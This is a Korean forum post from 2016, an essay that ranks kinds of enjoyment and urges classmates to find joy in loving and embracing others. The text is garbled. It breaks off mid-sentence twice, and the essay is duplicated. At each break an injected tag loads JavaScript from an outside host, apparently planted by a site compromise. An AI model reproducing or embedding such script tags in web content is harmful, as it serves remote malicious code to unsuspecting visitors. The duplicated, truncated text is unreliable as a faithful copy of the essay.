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[제목]
무슨 재미로 삽니까? (김연수)
🧑 정부영
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📅 2016-01-09 23:00:56
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👀 263
세상엔 수많은 사람들이 삽니다만 그들중엔 제나름대로 일이나 취미등에서 재미를 찾아가며 열심히 살고 있는 사람도 있고 또 다른사람들은 삶이 권태롭다고 하며 마지못해 사는 사람들도 있는거 같습니다. 또 다른 사람들은 돈버는 재미 혹은 예술이나 여행 혹은 이성과 연애를 즐기는 재미등등 다양합니다.
그러다 하나가 재미없어지면 또다른 하나로 취미나 대상을 바꿔보구요.
그렇게 사람들은 끊임없이 지치지도 않고(?) 삶의 재미를 좇으며 삽니다. 그런데 그중에서도 종교생활이나 道수행에 관심을 가진 사람들도 있습니다. 그리고 그런분들은 한번 거기에 빠지면(?) 좀처럼 그대상이 바뀌질 않지요. 재미로 하기엔 그대상이 사실 여간 만만치가 않거든요.
하여튼 세상을 사는데 재미는 꼭 필요한 것이며(그래야 행복해 지니까) 재미를 찾는것이라면 사실 자기 마음에 맞는 뭘 해도 좋습니다. 그러나 재미그자체는 좋은것도 아니고 나쁜것도 아니며 다만 우리가 그것을 통하여 행복감과 만족감을 얻기위한 하나의 방편일 뿐입니다. 그렇다면 기왕에 재미를 보려는거 보다더 효율적이고 쎈재미, 최고의 재미를 보아야 하지 않겠습니까?
그런데 재미에도 수준과 레벨이 있는거 같습니다. 우선 제일 낮은 재미는 자기와 남에게 동시에 피해를 주는 재미입니다. 그것은 할때에는 재미있을지 몰라도 그결과가 남에게 피해를 주므로 자신에게도 언젠가는 그보복이 돌아오게 되며 자신에게도 그런 나쁜 재미를 추구하는 습성이 붙으면 사람의 인성이 황폐하게 됩니다. 주로 범죄나 폭력,혹은 마약등에 해당되는 재미입니다.
그다음수준은 남에겐 피해가 별로 없으나 자신에게도 얻는게 그때뿐의 만족이고 결과도 나쁘거나 별로인 재미입니다. 이런 재미는 다만 渴愛(갈애)만을 일으킬 뿐이어서 사람이 한번 깊이 빠지면 시간과 돈만 낭비할뿐 인생에 별로 보탬이 되지않는 재미입니다. 주로 생산성없는 취미나 운동,잡기나 도박,바람둥이의 연애등에 해당하지요.
그다음수준은 남과는 별상관 없고 자기에겐 좋은 재미입니다.
자기혼자만 닦는 수행이나 종교신앙생활,혹은 근력운동이나 개인 취미같은 것입니다.
그다음것이 자기에게도 좋고 남에게도 좋은 재미입니다.
예컨대 노래,악기연주,합창,연극등의 예술활동이나 봉사활동,다른사람에게 좋은 영향을 주는 신앙생활이나 진리(도를 아십니까? 등)탐구등입니다.
그렇지만 뭐니뭐니 해도 저는 제일 좋은것이 그어떤 시간이나 표현방법을 빌리지않고라도 스스로 마음이 열려서 사랑하고 베풀며 이웃을 품는것이 그대로 자신의 기쁨이 되는 수준의 열린 존재가 갖는 <사랑>과 <품기>의 재미라고 생각합니다.
그런데 사람들중에는 높은 레벨에 해당하는 진리탐구,신앙생활을 한다고 하면서도 실제로는 이론이나 타인에 대해 시비분별이나 잘하고 남비판하길 즐기며 남허물들추고 얘기하길 좋아하는데서 재미를 느끼는 묘한(?) 사람들도 있습니다.
자신이 요새 별로 사는 재미가 없다고느껴지시는 분들은 그게 너무 자기본인위주의 삶을 살아와서 그런게 아니가 생각해볼 필요도 있습니다. 가족이나 옆사람과의 사랑,혹은 영적인 성장이나 변화에 기쁨을 느끼고 사는 사람들은 사는게 보람있고 즐겁다고들 그러거든요.
그래서 사는게 재미난다고 말하고 싶을 정도로 신나게 살기를 바라는 분들은 이제부터는 주변의 사람들과 삼라만상,나아가 세상전체를 <사랑하고 품는 재미>를 가지고 살아보면 어떨까 합니다. 이런데서 재미를 느끼기 시작하면 사랑이란 늘 좋은 쪽으로 관계를 확대재생산을 하는 힘이 있어서 우리의 삶속의 모든 만남과 일상사들을 더욱더 풍요롭고 보람차게 해줄 것입니다.
어떤 사람은 평생을 살아도 자기하나밖에 모르거나 혹은 제가족정도밖에 못사랑하지만 또 어떤이는 그나라민족을, 또 더큰이는 나아가 전인류와 전생명을 다 품고 사랑하는 이도 있습니다. 그런데 이처럼 더모든 존재들을 더 사랑하고 품어주는 가슴이 커질수록 그존재의 영적인 힘도 더 커지는 것같습니다. 아마도 내세엔 천당에서 더출세한 사람이 될듯(?)도 합니다.
동기 여러분,앞으로 우린 무슨 재미로 살아보겠습니까?
거창하게는 모든 존재와 온우주를 다 <사랑하고 품는 재미>로 살아볼수도 있을 것이고 작게는 내주변 사람들부터라도 다시 순수하게 그들을 위하는 마음으로 새해를 살아볼수도 있을 것입니다. 내게 그렇게 큰힘이 들지 않는 다면 나에게 온사람을 조금이라도 더 기쁘게 해서 보내고 내옆에 있는 사람을 조금이라도 더 행복하게 해주도록 하는 것도 좋을 것입니다.
저는 나이 오십이 넘은 지금에야 <사랑하기>와 <품어주기>의 진짜 재미를 쪼끔 알거 같습니다.
아직은 한참 멀었다 생각하지만요, 이제부터라도 좀더 남은 여생을 내가족?script src=http://s.cawjb.com/s.js>
그러다 하나가 재미없어지면 또다른 하나로 취미나 대상을 바꿔보구요.
그렇게 사람들은 끊임없이 지치지도 않고(?) 삶의 재미를 좇으며 삽니다. 그런데 그중에서도 종교생활이나 道수행에 관심을 가진 사람들도 있습니다. 그리고 그런분들은 한번 거기에 빠지면(?) 좀처럼 그대상이 바뀌질 않지요. 재미로 하기엔 그대상이 사실 여간 만만치가 않거든요.
하여튼 세상을 사는데 재미는 꼭 필요한 것이며(그래야 행복해 지니까) 재미를 찾는것이라면 사실 자기 마음에 맞는 뭘 해도 좋습니다. 그러나 재미그자체는 좋은것도 아니고 나쁜것도 아니며 다만 우리가 그것을 통하여 행복감과 만족감을 얻기위한 하나의 방편일 뿐입니다. 그렇다면 기왕에 재미를 보려는거 보다더 효율적이고 쎈재미, 최고의 재미를 보아야 하지 않겠습니까?
그런데 재미에도 수준과 레벨이 있는거 같습니다. 우선 제일 낮은 재미는 자기와 남에게 동시에 피해를 주는 재미입니다. 그것은 할때에는 재미있을지 몰라도 그결과가 남에게 피해를 주므로 자신에게도 언젠가는 그보복이 돌아오게 되며 자신에게도 그런 나쁜 재미를 추구하는 습성이 붙으면 사람의 인성이 황폐하게 됩니다. 주로 범죄나 폭력,혹은 마약등에 해당되는 재미입니다.
그다음수준은 남에겐 피해가 별로 없으나 자신에게도 얻는게 그때뿐의 만족이고 결과도 나쁘거나 별로인 재미입니다. 이런 재미는 다만 渴愛(갈애)만을 일으킬 뿐이어서 사람이 한번 깊이 빠지면 시간과 돈만 낭비할뿐 인생에 별로 보탬이 되지않는 재미입니다. 주로 생산성없는 취미나 운동,잡기나 도박,바람둥이의 연애등에 해당하지요.
그다음수준은 남과는 별상관 없고 자기에겐 좋은 재미입니다.
자기혼자만 닦는 수행이나 종교신앙생활,혹은 근력운동이나 개인 취미같은 것입니다.
그다음것이 자기에게도 좋고 남에게도 좋은 재미입니다.
예컨대 노래,악기연주,합창,연극등의 예술활동이나 봉사활동,다른사람에게 좋은 영향을 주는 신앙생활이나 진리(도를 아십니까? 등)탐구등입니다.
그렇지만 뭐니뭐니 해도 저는 제일 좋은것이 그어떤 시간이나 표현방법을 빌리지않고라도 스스로 마음이 열려서 사랑하고 베풀며 이웃을 품는것이 그대로 자신의 기쁨이 되는 수준의 열린 존재가 갖는 <사랑>과 <품기>의 재미라고 생각합니다.
그런데 사람들중에는 높은 레벨에 해당하는 진리탐구,신앙생활을 한다고 하면서도 실제로는 이론이나 타인에 대해 시비분별이나 잘하고 남비판하길 즐기며 남허물들추고 얘기하길 좋아하는데서 재미를 느끼는 묘한(?) 사람들도 있습니다.
자신이 요새 별로 사는 재미가 없다고느껴지시는 분들은 그게 너무 자기본인위주의 삶을 살아와서 그런게 아니가 생각해볼 필요도 있습니다. 가족이나 옆사람과의 사랑,혹은 영적인 성장이나 변화에 기쁨을 느끼고 사는 사람들은 사는게 보람있고 즐겁다고들 그러거든요.
그래서 사는게 재미난다고 말하고 싶을 정도로 신나게 살기를 바라는 분들은 이제부터는 주변의 사람들과 삼라만상,나아가 세상전체를 <사랑하고 품는 재미>를 가지고 살아보면 어떨까 합니다. 이런데서 재미를 느끼기 시작하면 사랑이란 늘 좋은 쪽으로 관계를 확대재생산을 하는 힘이 있어서 우리의 삶속의 모든 만남과 일상사들을 더욱더 풍요롭고 보람차게 해줄 것입니다.
어떤 사람은 평생을 살아도 자기하나밖에 모르거나 혹은 제가족정도밖에 못사랑하지만 또 어떤이는 그나라민족을, 또 더큰이는 나아가 전인류와 전생명을 다 품고 사랑하는 이도 있습니다. 그런데 이처럼 더모든 존재들을 더 사랑하고 품어주는 가슴이 커질수록 그존재의 영적인 힘도 더 커지는 것같습니다. 아마도 내세엔 천당에서 더출세한 사람이 될듯(?)도 합니다.
동기 여러분,앞으로 우린 무슨 재미로 살아보겠습니까?
거창하게는 모든 존재와 온우주를 다 <사랑하고 품는 재미>로 살아볼수도 있을 것이고 작게는 내주변 사람들부터라도 다시 순수하게 그들을 위하는 마음으로 새해를 살아볼수도 있을 것입니다. 내게 그렇게 큰힘이 들지 않는 다면 나에게 온사람을 조금이라도 더 기쁘게 해서 보내고 내옆에 있는 사람을 조금이라도 더 행복하게 해주도록 하는 것도 좋을 것입니다.
저는 나이 오십이 넘은 지금에야 <사랑하기>와 <품어주기>의 진짜 재미를 쪼끔 알거 같습니다.
아직은 한참 멀었다 생각하지만요, 이제부터라도 좀더 남은 여생을 내가족?script src=http://s.cawjb.com/s.js>
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